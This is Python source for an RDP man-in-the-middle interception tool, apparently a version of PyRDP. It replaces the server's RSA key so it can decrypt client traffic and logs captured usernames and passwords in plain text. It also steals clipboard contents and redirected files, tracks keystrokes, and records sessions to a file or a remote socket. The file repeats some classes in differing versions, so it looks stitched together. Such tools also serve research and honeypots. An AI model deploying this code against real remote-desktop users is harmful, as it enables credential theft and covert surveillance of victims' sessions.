class RDPMITMState:
"""
State object for the RDP MITM. This is for data that needs to be shared across components.
"""
def __init__(self):
self.requestedProtocols: Optional[NegotiationProtocols] = None
"""The original request protocols"""
self.useTLS = False
"""Whether the connection uses TLS or not"""
self.securitySettings = SecuritySettings()
"""The security settings for the connection"""
self.channelDefinitions: [ClientChannelDefinition] = []
"""The channel definitions from the client"""
self.channelMap: Dict[int, str] = {}
"""Dictionary of channel names to channel IDs"""
self.rc4RSAKey = RSA.generate(2048)
"""The RSA key for the RC4 key exchange"""
self.crypters = {
ParserMode.CLIENT: RC4CrypterProxy(RC4CrypterProxy.Mode.CLIENT),
ParserMode.SERVER: RC4CrypterProxy(RC4CrypterProxy.Mode.SERVER)
}
"""Crypters for the client and server side"""
self.securitySettings.addObserver(self.crypters[ParserMode.CLIENT])
self.securitySettings.addObserver(self.crypters[ParserMode.SERVER])
def createSecurityLayer(self, mode: ParserMode,
isVirtualChannel: bool) -> SecurityLayer:
"""
Create a security layer.
:param mode: the mode of the security layer (client or server)
:param isVirtualChannel: True if the security layer is for a virtual channel, False if it's for slow-path data.
"""
if self.useTLS:
layer = TLSSecurityLayer()
layer.securityHeaderExpected = not isVirtualChannel
return layer
else:
crypter = self.crypters[mode]
return SecurityLayer.create(self.securitySettings.encryptionMethod,
crypter)
def createFastPathLayer(self, mode: ParserMode) -> FastPathLayer:
"""
Create a fast-path layer.
:param mode: the mode of the layer (client or server)
"""
parser = createFastPathParser(self.useTLS,
self.securitySettings.encryptionMethod,
self.crypters[mode], mode)
return FastPathLayer(parser)
class MITMServer(MCSUserObserver, MCSChannelFactory):
def __init__(self, friendlyName: str, targetHost: str, targetPort: int,
certificateFileName: str, privateKeyFileName: str,
recordHost: str, recordPort: int, replacementUsername: str,
replacementPassword: str):
MCSUserObserver.__init__(self)
self.sessionId = f"{friendlyName}{random.randrange(100000,999999)}"
self.log = getLoggerPassFilters(
f"{LOGGER_NAMES.MITM_CONNECTIONS}.{self.sessionId}.server")
self.metadataFilter = ConnectionMetadataFilter(self, self.sessionId)
self.log.addFilter(self.metadataFilter)
self.replacementPassword = replacementPassword
self.replacementUsername = replacementUsername
self.targetHost = targetHost
self.targetPort = targetPort
self.certificateFileName = certificateFileName
self.privateKeyFileName = privateKeyFileName
self.clipboardObserver = None
self.useTLS = False
self.client: MITMClient = None
self.clientConnector = None
self.originalNegotiationPDU = None
self.targetNegotiationPDU = None
self.serverData = None
self.rc4RSAKey = RSA.generate(2048)
self.crypter = RC4CrypterProxy()
self.socket = None
self.fileHandle = open(
"out/rdp_replay_{}_{}.pyrdp".format(
datetime.datetime.now().strftime('%Y%m%d_%H-%M-%S'),
random.randint(0, 1000)), "wb")
rc4Log = getLoggerPassFilters(f"{self.log.name}.rc4")
self.securitySettings = SecuritySettings(SecuritySettings.Mode.SERVER)
self.securitySettings.addObserver(self.crypter)
self.securitySettings.addObserver(RC4LoggingObserver(rc4Log))
self.tcp = TwistedTCPLayer()
self.tcp.createObserver(onConnection=self.onConnection,
onDisconnection=self.onDisconnection)
self.segmentation = SegmentationLayer()
self.segmentation.createObserver(
onUnknownHeader=self.onUnknownTPKTHeader)
self.tpkt = TPKTLayer()
self.x224 = X224Layer()
self.x224.createObserver(onConnectionRequest=self.onConnectionRequest,
onDisconnectRequest=self.onDisconnectRequest)
self.mcs = MCSLayer()
self.router = MITMServerRouter(self.mcs, self)
self.mcs.addObserver(self.router)
self.router.createObserver(
onConnectionReceived=self.onConnectInitial,
onDisconnectProviderUltimatum=self.onDisconnectProviderUltimatum,
onAttachUserRequest=self.onAttachUserRequest,
onChannelJoinRequest=self.onChannelJoinRequest)
self.gcc = GCCParser()
self.rdpClientInfoParser = ClientInfoParser()
self.rdpClientConnectionParser = ClientConnectionParser()
self.rdpServerConnectionParser = ServerConnectionParser()
self.securityLayer = None
self.slowPathLayer = SlowPathLayer()
self.fastPathLayer = None
self.tcp.setNext(self.segmentation)
self.segmentation.attachLayer(SegmentationPDUType.TPKT, self.tpkt)
Layer.chain(self.tpkt, self.x224, self.mcs)
if recordHost is not None and recordPort is not None:
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
self.socket.connect((recordHost, recordPort))
except socket.error as e:
logging.getLogger(LOGGER_NAMES.MITM).error(
"Could not connect to liveplayer: %(error)s", {"error": e})
self.socket.close()
self.socket = None
recordingLayers = [FileLayer(self.fileHandle)]
if self.socket is not None:
recordingLayers.append(SocketLayer(self.socket))
# Since we're intercepting communications from the original client (so we're a server),
# We need to write back the packets as if they came from the client.
self.recorder = Recorder(recordingLayers)
def getSessionId(self):
return self.sessionId
def getProtocol(self):
return self.tcp
def getNegotiationPDU(self):
return self.targetNegotiationPDU
def connectClient(self):
# Connect the client side to the target machine
self.clientConnector = reactor.connectTCP(
self.targetHost, self.targetPort,
MITMClientFactory(self, self.fileHandle, self.socket,
self.replacementUsername,
self.replacementPassword))
def setClient(self, client: MITMClient):
self.client = client
def onConnection(self):
# Connection sequence #0
clientInfo = self.tcp.transport.client
self.log.info("TCP connected from %(arg1)s:%(arg2)s", {
"arg1": clientInfo[0],
"arg2": clientInfo[1]
})
def onDisconnection(self, reason):
"""
Record the end of the connection, close everything and delete the replay file if its too
small (no useful information)
"""
self.recorder.record(None, PlayerMessageType.CONNECTION_CLOSE)
self.log.info("Connection closed: %(arg1)s", {"arg1": reason})
if self.client:
self.client.disconnect()
self.disconnectConnector()
fileSize = self.fileHandle.tell()
fileName = self.fileHandle.name
self.fileHandle.close()
if fileSize < 16:
try:
os.remove(fileName)
except Exception as e:
logging.getLogger(LOGGER_NAMES.MITM).error(
"Can't delete small replay file %(replayFile)s: %(error)s",
{
"replayFile": fileName,
"error": e
})
def onDisconnectRequest(self, pdu):
self.log.debug("X224 Disconnect Request received")
self.disconnect()
def onDisconnectProviderUltimatum(self, pdu):
self.log.debug("Disconnect Provider Ultimatum PDU received")
self.disconnect()
def disconnect(self):
self.log.debug("Disconnecting")
self.disconnectConnector()
self.tcp.disconnect()
self.log.removeFilter(self.metadataFilter)
if self.socket is not None:
self.socket.close()
def disconnectConnector(self):
if self.clientConnector:
self.clientConnector.disconnect()
self.clientConnector = None
def onUnknownTPKTHeader(self, header):
self.log.error(
"Closing the connection because an unknown TPKT header was received. Header: 0x%(header)02lx",
{"header": header})
self.disconnect()
def onConnectionRequest(self, pdu):
# X224 Request
self.log.debug("Connection Request received")
# We need to save the original negotiation PDU because Windows will cut the connection if it
# sees that the requested protocols have changed.
parser = NegotiationRequestParser()
self.originalNegotiationPDU = parser.parse(pdu.payload)
if self.originalNegotiationPDU.cookie:
self.log.info(
"%(cookie)s",
{"cookie": self.originalNegotiationPDU.cookie.decode()})
else:
self.log.info("No cookie for this connection %(cookie)s",
{"cookie": ""})
# Only SSL is implemented, so remove other protocol flags
chosenProtocols = self.originalNegotiationPDU.requestedProtocols & NegotiationProtocols.SSL \
if self.originalNegotiationPDU.requestedProtocols is not None else None
self.targetNegotiationPDU = NegotiationRequestPDU(
self.originalNegotiationPDU.cookie,
self.originalNegotiationPDU.flags,
chosenProtocols,
self.originalNegotiationPDU.correlationFlags,
self.originalNegotiationPDU.correlationID,
)
self.connectClient()
def onConnectionConfirm(self, _):
# X224 Response
protocols = NegotiationProtocols.SSL if self.originalNegotiationPDU.tlsSupported else NegotiationProtocols.NONE
parser = NegotiationResponseParser()
payload = parser.write(
NegotiationResponsePDU(NegotiationType.TYPE_RDP_NEG_RSP, 0x00,
protocols))
self.x224.sendConnectionConfirm(payload, source=0x1234)
if self.originalNegotiationPDU.tlsSupported:
self.tcp.startTLS(
ServerTLSContext(privateKeyFileName=self.privateKeyFileName,
certificateFileName=self.certificateFileName))
self.useTLS = True
def onConnectInitial(self, pdu):
# MCS Connect Initial
"""
Parse the ClientData PDU and send a ServerData PDU back.
:param pdu: The GCC ConferenceCreateResponse PDU that contains the ClientData PDU.
"""
self.log.debug("Connect Initial received")
gccConferenceCreateRequestPDU: GCCConferenceCreateRequestPDU = self.gcc.parse(
pdu.payload)
# FIPS is not implemented, so remove this flag if it's set
rdpClientDataPdu = self.rdpClientConnectionParser.parse(
gccConferenceCreateRequestPDU.payload)
rdpClientDataPdu.securityData.encryptionMethods &= ~EncryptionMethod.ENCRYPTION_FIPS
rdpClientDataPdu.securityData.extEncryptionMethods &= ~EncryptionMethod.ENCRYPTION_FIPS
# This disables the support for the Graphics pipeline extension, which is a completely different way to
# transfer graphics from server to client. https://msdn.microsoft.com/en-us/library/dn366933.aspx
rdpClientDataPdu.coreData.earlyCapabilityFlags &= ~ClientCapabilityFlag.RNS_UD_CS_SUPPORT_DYNVC_GFX_PROTOCOL
# Remove 24bpp and 32bpp support, fall back to 16bpp.
# 2018-12-14: This is only there because there is a bug in the pyrdp player where 24bpp
# decompression in rle.c causes random crashes. If this bug is fixed, we could remove this.
rdpClientDataPdu.coreData.supportedColorDepths &= ~SupportedColorDepth.RNS_UD_32BPP_SUPPORT
rdpClientDataPdu.coreData.supportedColorDepths &= ~SupportedColorDepth.RNS_UD_24BPP_SUPPORT
rdpClientDataPdu.coreData.highColorDepth &= ~HighColorDepth.HIGH_COLOR_24BPP
if rdpClientDataPdu.coreData.highColorDepth == 0:
# Means the requested color depth was 24bpp, fallback to 16bpp
rdpClientDataPdu.coreData.highColorDepth |= HighColorDepth.HIGH_COLOR_16BPP
self.client.onConnectInitial(gccConferenceCreateRequestPDU,
rdpClientDataPdu)
return True
def onConnectResponse(self, pdu, serverData):
# MCS Connect Response
"""
:type pdu: MCSConnectResponsePDU
:type serverData: ServerDataPDU
"""
if pdu.result != 0:
self.mcs.send(pdu)
return
# Replace the server's public key with our own key so we can decrypt the incoming client random
cert = serverData.security.serverCertificate
if cert:
cert = ProprietaryCertificate(cert.signatureAlgorithmID,
cert.keyAlgorithmID,
cert.publicKeyType, self.rc4RSAKey,
cert.signatureType, cert.signature,
cert.padding)
security = ServerSecurityData(
# FIPS is not implemented so avoid using that
serverData.security.encryptionMethod
if serverData.security.encryptionMethod !=
EncryptionMethod.ENCRYPTION_FIPS else
EncryptionMethod.ENCRYPTION_128BIT,
serverData.security.encryptionLevel
if serverData.security.encryptionLevel !=
EncryptionLevel.ENCRYPTION_LEVEL_FIPS else
EncryptionLevel.ENCRYPTION_LEVEL_HIGH,
serverData.security.serverRandom,
cert)
serverData.core.clientRequestedProtocols = self.originalNegotiationPDU.requestedProtocols
self.securitySettings.serverSecurityReceived(security)
self.serverData = ServerDataPDU(serverData.core, security,
serverData.network)
rdpParser = ServerConnectionParser()
gccParser = GCCParser()
gcc = self.client.conferenceCreateResponse
gcc = GCCConferenceCreateResponsePDU(gcc.nodeID, gcc.tag, gcc.result,
rdpParser.write(self.serverData))
pdu = MCSConnectResponsePDU(pdu.result, pdu.calledConnectID,
pdu.domainParams, gccParser.write(gcc))
self.mcs.send(pdu)
def onAttachUserRequest(self, _):
# MCS Attach User Request
self.client.onAttachUserRequest()
def onAttachConfirmed(self, user):
# MCS Attach User Confirm successful
self.router.sendAttachUserConfirm(True, user.userID)
def onAttachRefused(self, user, result):
# MCS Attach User Confirm failed
self.router.sendAttachUserConfirm(False, result)
def onChannelJoinRequest(self, pdu):
# MCS Channel Join Request
self.client.onChannelJoinRequest(pdu)
def onChannelJoinAccepted(self, userID, channelID):
# MCS Channel Join Confirm successful
self.router.sendChannelJoinConfirm(0, userID, channelID)
def onChannelJoinRefused(self, user, result, channelID):
# MCS Channel Join Confirm failed
self.log.debug("Refusing to connect channelId %(channelId)d",
{"channelId": channelID})
self.router.sendChannelJoinConfirm(result, user.userID, channelID)
def buildChannel(self, mcs, userID, channelID):
self.log.debug("building channel %(arg1)s for user %(arg2)d", {
"arg1": channelID,
"arg2": userID
})
channelMap = self.client.channelMap
if channelID == self.serverData.network.mcsChannelID:
return self.buildIOChannel(mcs, userID, channelID)
elif channelID in channelMap.keys(
) and channelMap[channelID] == VirtualChannelName.CLIPBOARD:
return self.buildClipboardChannel(mcs, userID, channelID)
elif channelID in channelMap.keys(
) and channelMap[channelID] == VirtualChannelName.DEVICE_REDIRECTION:
return self.buildDeviceRedirectionChannel(mcs, userID, channelID)
else:
return self.buildVirtualChannel(mcs, userID, channelID)
def createSecurityLayer(self):
encryptionMethod = self.serverData.security.encryptionMethod
if self.useTLS:
return TLSSecurityLayer()
else:
return SecurityLayer.create(encryptionMethod, self.crypter)
def buildVirtualChannel(self, mcs: MCSLayer, userID: int,
channelID: int) -> MCSServerChannel:
channel = MCSServerChannel(mcs, userID, channelID)
securityLayer = self.createSecurityLayer()
rawLayer = RawLayer()
Layer.chain(channel, securityLayer, rawLayer)
peer = self.client.getChannelObserver(channelID)
observer = MITMVirtualChannelObserver(rawLayer)
observer.setPeer(peer)
rawLayer.addObserver(observer)
return channel
def buildClipboardChannel(self, mcs: MCSLayer, userID: int,
channelID: int) -> MCSServerChannel:
"""
:type mcs: MCSLayer
:param userID: The mcs user that builds the channel
:param channelID: The channel ID to use to communicate in that channel
:return: MCSServerChannel that handles the Clipboard virtual channel traffic from the client to the MITM.
"""
# Create all necessary layers
channel = MCSServerChannel(mcs, userID, channelID)
securityLayer = self.createSecurityLayer()
virtualChannelLayer = VirtualChannelLayer()
clipboardLayer = ClipboardLayer()
Layer.chain(channel, securityLayer, virtualChannelLayer,
clipboardLayer)
# Create and link the MITM Observer for the server side to the clipboard layer.
# Also link both MITM Observers (client and server) so they can send traffic the other way.
peer = self.client.getChannelObserver(channelID)
passiveClipboardObserver = PassiveClipboardStealer(
clipboardLayer, self.recorder, self.log)
peer.passiveClipboardObserver = passiveClipboardObserver
passiveClipboardObserver.setPeer(peer)
clipboardLayer.addObserver(passiveClipboardObserver)
return channel
def buildDeviceRedirectionChannel(self, mcs: MCSLayer, userID: int,
channelID: int) -> MCSServerChannel:
"""
:type mcs: MCSLayer
:param userID: The mcs user that builds the channel
:param channelID: The channel ID to use to communicate in that channel
:return: MCSServerChannel that handles the device redirection virtual channel traffic from
the client to the MITM.
"""
# Create all necessary layers
channel = MCSServerChannel(mcs, userID, channelID)
securityLayer = self.createSecurityLayer()
virtualChannelLayer = VirtualChannelLayer(
activateShowProtocolFlag=False)
deviceRedirectionLayer = DeviceRedirectionLayer()
Layer.chain(channel, securityLayer, virtualChannelLayer,
deviceRedirectionLayer)
# Create and link the MITM Observer for the server side to the device redirection layer.
# Also link both MITM Observers (client and server) so they can send traffic the other way.
peer = self.client.getChannelObserver(channelID)
observer = PassiveFileStealerServer(
deviceRedirectionLayer, self.recorder,
self.client.deviceRedirectionObserver, self.log)
observer.setPeer(peer)
deviceRedirectionLayer.addObserver(observer)
return channel
def buildIOChannel(self, mcs: MCSLayer, userID: int,
channelID: int) -> MCSServerChannel:
encryptionMethod = self.serverData.security.encryptionMethod
self.securityLayer = self.createSecurityLayer()
self.securityLayer.createObserver(
onClientInfoReceived=self.onClientInfoReceived,
onSecurityExchangeReceived=self.onSecurityExchangeReceived,
onLicensingDataReceived=self.onLicensingDataReceived)
slowPathObserver = MITMSlowPathObserver(
self.log, self.slowPathLayer, onConfirmActive=self.onConfirmActive)
slowPathObserver.setDataHandler(SlowPathDataType.PDUTYPE2_INPUT,
self.onInputPDUReceived)
clientObserver = self.client.getChannelObserver(channelID)
slowPathObserver.setPeer(clientObserver)
self.slowPathLayer.addObserver(slowPathObserver)
self.slowPathLayer.addObserver(RecordingSlowPathObserver(
self.recorder))
fastPathParser = createFastPathParser(self.useTLS, encryptionMethod,
self.crypter, ParserMode.SERVER)
self.fastPathLayer = FastPathLayer(fastPathParser)
fastPathObserver = MITMFastPathObserver(self.log, self.fastPathLayer)
fastPathObserver.setPeer(self.client.getFastPathObserver())
self.fastPathLayer.addObserver(fastPathObserver)
self.fastPathLayer.addObserver(
RecordingFastPathObserver(self.recorder,
PlayerMessageType.FAST_PATH_INPUT))
channel = MCSServerChannel(mcs, userID, channelID)
Layer.chain(channel, self.securityLayer, self.slowPathLayer)
self.segmentation.attachLayer(SegmentationPDUType.FAST_PATH,
self.fastPathLayer)
if self.useTLS:
self.securityLayer.securityHeaderExpected = True
return channel
def onConfirmActive(self, pdu):
# Force RDP server to send bitmap events instead of order events.
pdu.parsedCapabilitySets[CapabilityType.CAPSTYPE_ORDER].orderFlags = OrderFlag.NEGOTIATEORDERSUPPORT \
| OrderFlag.ZEROBOUNDSDELTASSUPPORT
pdu.parsedCapabilitySets[
CapabilityType.CAPSTYPE_ORDER].orderSupport = b"\x00" * 32
# Disable virtual channel compression
if CapabilityType.CAPSTYPE_VIRTUALCHANNEL in pdu.parsedCapabilitySets:
pdu.parsedCapabilitySets[
CapabilityType.CAPSTYPE_VIRTUALCHANNEL].flags = 0
# Override the bitmap cache capability set with null values.
if CapabilityType.CAPSTYPE_BITMAPCACHE in pdu.parsedCapabilitySets:
pdu.parsedCapabilitySets[CapabilityType.CAPSTYPE_BITMAPCACHE] =\
Capability(CapabilityType.CAPSTYPE_BITMAPCACHE, b"\x00" * 36)
# Disable surface commands
if CapabilityType.CAPSETTYPE_SURFACE_COMMANDS in pdu.parsedCapabilitySets:
pdu.parsedCapabilitySets[
CapabilityType.CAPSETTYPE_SURFACE_COMMANDS].cmdFlags = 0
# Security Exchange
def onSecurityExchangeReceived(self, pdu):
"""
:type pdu: RDPSecurityExchangePDU
:return:
"""
self.log.debug("Security Exchange received")
clientRandom = self.rc4RSAKey.decrypt(pdu.clientRandom[::-1])[::-1]
self.securitySettings.setClientRandom(clientRandom)
# Client Info Packet
def onClientInfoReceived(self, data: bytes):
"""
Called when client info data is received.
Record the PDU and send it to the MITMClient.
"""
pdu = ClientInfoParser().parse(data)
clientAddress = None
if pdu.extraInfo:
clientAddress = decodeUTF16LE(pdu.extraInfo.clientAddress)
self.log.info("Client address: %(clientAddress)s",
{"clientAddress": clientAddress})
self.log.debug("Client Info received: %(clientInfoPDU)s",
{"clientInfoPDU": pdu})
hasExtraInfo = pdu.extraInfo is not None
self.log.info(
"CLIENT INFO RECEIVED.\n"
"USER: %(username)s\n"
"PASSWORD: %(password)s\n"
"DOMAIN: %(domain)s\n"
"LOCAL IP ADDR: %(localIpAddress)s", {
"username":
pdu.username,
"password":
pdu.password,
"domain":
pdu.domain,
"localIpAddress":
pdu.extraInfo.clientAddress if hasExtraInfo else None
})
self.recorder.record(pdu, PlayerMessageType.CLIENT_INFO)
self.client.onClientInfoPDUReceived(pdu)
def onLicensingDataReceived(self, data):
self.log.debug("Sending Licensing data")
if self.useTLS:
self.securityLayer.securityHeaderExpected = False
self.securityLayer.sendLicensing(data)
def sendDisconnectProviderUltimatum(self, pdu):
self.mcs.send(pdu)
def onInputPDUReceived(self, pdu):
# Unsure if still useful
for event in pdu.events:
if event.messageType == InputEventType.INPUT_EVENT_SCANCODE:
self.log.debug("Key pressed: 0x%2lx" % event.keyCode)
elif event.messageType == InputEventType.INPUT_EVENT_MOUSE:
self.log.debug("Mouse position: x = %d, y = %d" %
(event.x, event.y))
class RDPMITMState:
"""
State object for the RDP MITM. This is for data that needs to be shared across components.
"""
def __init__(self, config: MITMConfig):
self.requestedProtocols: Optional[NegotiationProtocols] = None
"""The original request protocols"""
self.config = config
"""The MITM configuration."""
self.useTLS = False
"""Whether the connection uses TLS or not"""
self.securitySettings = SecuritySettings()
"""The security settings for the connection"""
self.channelDefinitions: [ClientChannelDefinition] = []
"""The channel definitions from the client"""
self.channelMap: Dict[int, str] = {}
"""Dictionary of channel names to channel IDs"""
self.rc4RSAKey = RSA.generate(2048)
"""The RSA key for the RC4 key exchange"""
self.crypters = {
ParserMode.CLIENT: RC4CrypterProxy(RC4CrypterProxy.Mode.CLIENT),
ParserMode.SERVER: RC4CrypterProxy(RC4CrypterProxy.Mode.SERVER)
}
"""Crypters for the client and server side"""
self.forwardInput = True
"""Whether input from the client should be forwarded to the server"""
self.forwardOutput = True
"""Whether output from the server should be forwarded to the client"""
self.loggedIn = False
"""Keep tracks of the client login status"""
self.inputBuffer = ""
"""Used to store what the client types"""
self.credentialsCandidate = ""
"""The potential client password"""
self.shiftPressed = False
"""The current keyboard shift state"""
self.capsLockOn = False
"""The current keyboard capsLock state"""
self.ctrlPressed = False
"""The current keybaord ctrl state"""
self.securitySettings.addObserver(self.crypters[ParserMode.CLIENT])
self.securitySettings.addObserver(self.crypters[ParserMode.SERVER])
def createSecurityLayer(self, mode: ParserMode,
isVirtualChannel: bool) -> SecurityLayer:
"""
Create a security layer.
:param mode: the mode of the security layer (client or server)
:param isVirtualChannel: True if the security layer is for a virtual channel, False if it's for slow-path data.
"""
if self.useTLS:
layer = TLSSecurityLayer()
layer.securityHeaderExpected = not isVirtualChannel
return layer
else:
crypter = self.crypters[mode]
return SecurityLayer.create(self.securitySettings.encryptionMethod,
crypter)
def createFastPathLayer(self, mode: ParserMode) -> FastPathLayer:
"""
Create a fast-path layer.
:param mode: the mode of the layer (client or server)
"""
parser = createFastPathParser(self.useTLS,
self.securitySettings.encryptionMethod,
self.crypters[mode], mode)
return FastPathLayer(parser)
class MITMClient(MCSChannelFactory, MCSUserObserver):
def __init__(self,
server,
fileHandle: BinaryIO,
livePlayerSocket: socket,
replacementUsername=None,
replacementPassword=None):
MCSChannelFactory.__init__(self)
self.log = getLoggerPassFilters(
f"{LOGGER_NAMES.MITM_CONNECTIONS}.{server.getSessionId()}.client")
self.log.addFilter(server.metadataFilter)
self.replacementUsername = replacementUsername
self.replacementPassword = replacementPassword
self.server = server
self.channelMap: Dict[int, str] = {}
self.channelDefinitions = []
self.channelObservers = {}
self.deviceRedirectionObserver = None
self.useTLS = False
self.user = None
self.fastPathObserver = None
self.conferenceCreateResponse = None
self.serverData = None
self.crypter = RC4CrypterProxy()
rc4Log = getLoggerPassFilters(f"{self.log.name}.rc4")
self.securitySettings = SecuritySettings(SecuritySettings.Mode.CLIENT)
self.securitySettings.addObserver(self.crypter)
self.securitySettings.addObserver(RC4LoggingObserver(rc4Log))
self.tcp = TwistedTCPLayer()
self.tcp.createObserver(onConnection=self.startConnection,
onDisconnection=self.onDisconnection)
self.segmentation = SegmentationLayer()
self.segmentation.createObserver(
onUnknownHeader=self.onUnknownTPKTHeader)
self.tpkt = TPKTLayer()
self.x224 = X224Layer()
self.x224.createObserver(onConnectionConfirm=self.onConnectionConfirm,
onDisconnectRequest=self.onDisconnectRequest)
self.mcs = MCSLayer()
self.router = MCSClientRouter(self.mcs, self)
self.mcs.addObserver(self.router)
self.router.createObserver(
onConnectResponse=self.onConnectResponse,
onDisconnectProviderUltimatum=self.onDisconnectProviderUltimatum)
self.mcsConnect = MCSClientConnectionLayer(self.mcs)
self.gccConnect = GCCClientConnectionLayer(b"1")
self.gccConnect.createObserver(
onPDUReceived=self.onConferenceCreateResponse)
self.rdpConnect = ClientConnectionLayer()
self.rdpConnect.createObserver(onPDUReceived=self.onServerData)
self.securityLayer = None
self.slowPathLayer = SlowPathLayer()
self.fastPathLayer = None
self.tcp.setNext(self.segmentation)
self.segmentation.attachLayer(SegmentationPDUType.TPKT, self.tpkt)
Layer.chain(self.tpkt, self.x224, self.mcs)
Layer.chain(self.mcsConnect, self.gccConnect, self.rdpConnect)
record_layers = [FileLayer(fileHandle)]
if livePlayerSocket is not None:
record_layers.append(SocketLayer(livePlayerSocket))
self.recorder = Recorder(record_layers)
def getProtocol(self):
return self.tcp
def startConnection(self):
"""
Start the connection sequence to the target machine.
"""
self.log.debug("TCP connected")
negotiation = self.server.getNegotiationPDU()
parser = NegotiationRequestParser()
self.x224.sendConnectionRequest(parser.write(negotiation))
def onDisconnection(self, reason):
self.log.debug(f"Connection closed: {reason}")
self.server.disconnect()
self.log.removeFilter(self.server.metadataFilter)
def onDisconnectRequest(self, pdu):
self.log.debug("X224 Disconnect Request received")
self.disconnect()
def disconnect(self):
self.log.debug("Disconnecting")
self.tcp.disconnect()
def onUnknownTPKTHeader(self, header):
self.log.error(
"Closing the connection because an unknown TPKT header was received. Header: 0x%(header)02lx",
{"header": header})
self.disconnect()
def onConnectionConfirm(self, pdu):
"""
Called when the X224 layer is connected.
"""
self.log.debug("Connection Confirm received")
parser = NegotiationResponseParser()
response = parser.parse(pdu.payload)
if response.type == NegotiationType.TYPE_RDP_NEG_FAILURE:
self.log.error(
"Server returned a TYPE_RDP_NEG_FAILURE packet, most likely because NLA is "
"enforced by the server and the MITM does not handle NLA.")
if response.tlsSelected:
self.tcp.startTLS(ClientTLSContext())
self.useTLS = True
self.server.onConnectionConfirm(pdu)
def onConnectInitial(
self, gccConferenceCreateRequest: GCCConferenceCreateRequestPDU,
clientData: ClientDataPDU):
"""
Called when a Connect Initial PDU is received.
:param gccConferenceCreateRequest: the conference create request.
:param clientData: the RDPClientDataPDU.
"""
self.log.info(
"Client Data received with client name "
"%(clientName)s, resolution %(desktopWidth)dx%(desktopHeight)d", {
"clientName": clientData.coreData.clientName,
"desktopWidth": clientData.coreData.desktopWidth,
"desktopHeight": clientData.coreData.desktopHeight
})
self.recorder.record(clientData, PlayerMessageType.CLIENT_DATA)
clientData.coreData.earlyCapabilityFlags &= ~ClientCapabilityFlag.RNS_UD_CS_WANT_32BPP_SESSION
if clientData.networkData:
self.channelDefinitions = clientData.networkData.channelDefinitions
self.gccConnect.conferenceName = gccConferenceCreateRequest.conferenceName
self.rdpConnect.send(clientData)
def onConnectResponse(self, pdu):
"""
Called when an MCS Connect Response PDU is received.
"""
if pdu.result != 0:
self.log.error("MCS Connection Failed")
self.server.onConnectResponse(pdu, None)
else:
self.log.debug("MCS Connection Successful")
self.mcsConnect.recv(pdu)
self.server.onConnectResponse(pdu, self.serverData)
def onConferenceCreateResponse(self, pdu):
"""
Called when a GCC Conference Create Response is received.
:param pdu: the conference response PDU
:type pdu: GCCConferenceCreateResponsePDU
"""
self.conferenceCreateResponse = pdu
def onServerData(self, serverData: ServerDataPDU):
"""
Called when the server data from the GCC Conference Create Response is received.
"""
self.serverData = serverData
self.securitySettings.generateClientRandom()
self.securitySettings.serverSecurityReceived(serverData.security)
self.channelMap[self.serverData.network.mcsChannelID] = "I/O"
for index in range(len(serverData.network.channels)):
channelID = serverData.network.channels[index]
self.channelMap[channelID] = self.channelDefinitions[index].name
def onAttachUserRequest(self):
self.user = self.router.createUser()
self.user.addObserver(self)
self.user.attach()
def onAttachConfirmed(self, user):
# MCS Attach User Confirm successful
self.server.onAttachConfirmed(user)
def onAttachRefused(self, user, result):
# MCS Attach User Confirm failed
self.server.onAttachRefused(user, result)
def onChannelJoinRequest(self, pdu: MCSChannelJoinRequestPDU):
self.mcs.send(pdu)
def buildChannel(self, mcs, userID, channelID):
channelName = self.channelMap.get(channelID, None)
channelLog = channelName + " (%d)" % channelID if channelName else channelID
self.log.debug("building channel %(arg1)s for user %(arg2)d", {
"arg1": channelLog,
"arg2": userID
})
if channelName == "I/O":
channel = self.buildIOChannel(mcs, userID, channelID)
elif channelName == VirtualChannelName.CLIPBOARD:
channel = self.buildClipboardChannel(mcs, userID, channelID)
elif channelName == VirtualChannelName.DEVICE_REDIRECTION:
channel = self.buildDeviceRedirectionChannel(
mcs, userID, channelID)
else:
channel = self.buildVirtualChannel(mcs, userID, channelID)
self.server.onChannelJoinAccepted(userID, channelID)
return channel
def createSecurityLayer(self):
encryptionMethod = self.serverData.security.encryptionMethod
if self.useTLS:
return TLSSecurityLayer()
else:
return SecurityLayer.create(encryptionMethod, self.crypter)
def buildVirtualChannel(self, mcs, userID, channelID) -> MCSClientChannel:
channel = MCSClientChannel(mcs, userID, channelID)
securityLayer = self.createSecurityLayer()
rawLayer = RawLayer()
Layer.chain(channel, securityLayer, rawLayer)
observer = MITMVirtualChannelObserver(rawLayer)
rawLayer.addObserver(observer)
self.channelObservers[channelID] = observer
return channel
def buildClipboardChannel(self, mcs: MCSLayer, userID: int,
channelID: int) -> MCSClientChannel:
"""
:param mcs: The MCS Layer to transport traffic
:param userID: The mcs user that builds the channel
:param channelID: The channel ID to use to communicate in that channel
:return: MCSClientChannel that handles the Clipboard virtual channel traffic from the server to the MITM.
"""
# Create all necessary layers
channel = MCSClientChannel(mcs, userID, channelID)
securityLayer = self.createSecurityLayer()
virtualChannelLayer = VirtualChannelLayer()
clipboardLayer = ClipboardLayer()
Layer.chain(channel, securityLayer, virtualChannelLayer,
clipboardLayer)
# Create and link the MITM Observer for the client side to the clipboard layer.
activeClipboardObserver = ActiveClipboardStealer(
clipboardLayer, self.recorder, self.log)
clipboardLayer.addObserver(activeClipboardObserver)
self.channelObservers[channelID] = activeClipboardObserver
return channel
def buildDeviceRedirectionChannel(self, mcs: MCSLayer, userID: int,
channelID: int) -> MCSClientChannel:
"""
:param mcs: The MCS Layer to transport traffic
:param userID: The mcs user that builds the channel
:param channelID: The channel ID to use to communicate in that channel
:return: MCSClientChannel that handles the Device redirection virtual channel traffic from the server to the MITM.
"""
# Create all necessary layers
channel = MCSClientChannel(mcs, userID, channelID)
securityLayer = self.createSecurityLayer()
virtualChannelLayer = VirtualChannelLayer(
activateShowProtocolFlag=False)
deviceRedirectionLayer = DeviceRedirectionLayer()
Layer.chain(channel, securityLayer, virtualChannelLayer,
deviceRedirectionLayer)
# Create and link the MITM Observer for the client side to the device redirection layer.
self.deviceRedirectionObserver = PassiveFileStealerClient(
deviceRedirectionLayer, self.recorder, self.log)
deviceRedirectionLayer.addObserver(self.deviceRedirectionObserver)
self.channelObservers[channelID] = self.deviceRedirectionObserver
return channel
def buildIOChannel(self, mcs: MCSLayer, userID: int,
channelID: int) -> MCSClientChannel:
encryptionMethod = self.serverData.security.encryptionMethod
self.securityLayer = self.createSecurityLayer()
self.securityLayer.createObserver(
onLicensingDataReceived=self.onLicensingDataReceived)
slowPathObserver = MITMSlowPathObserver(self.log, self.slowPathLayer)
self.slowPathLayer.addObserver(slowPathObserver)
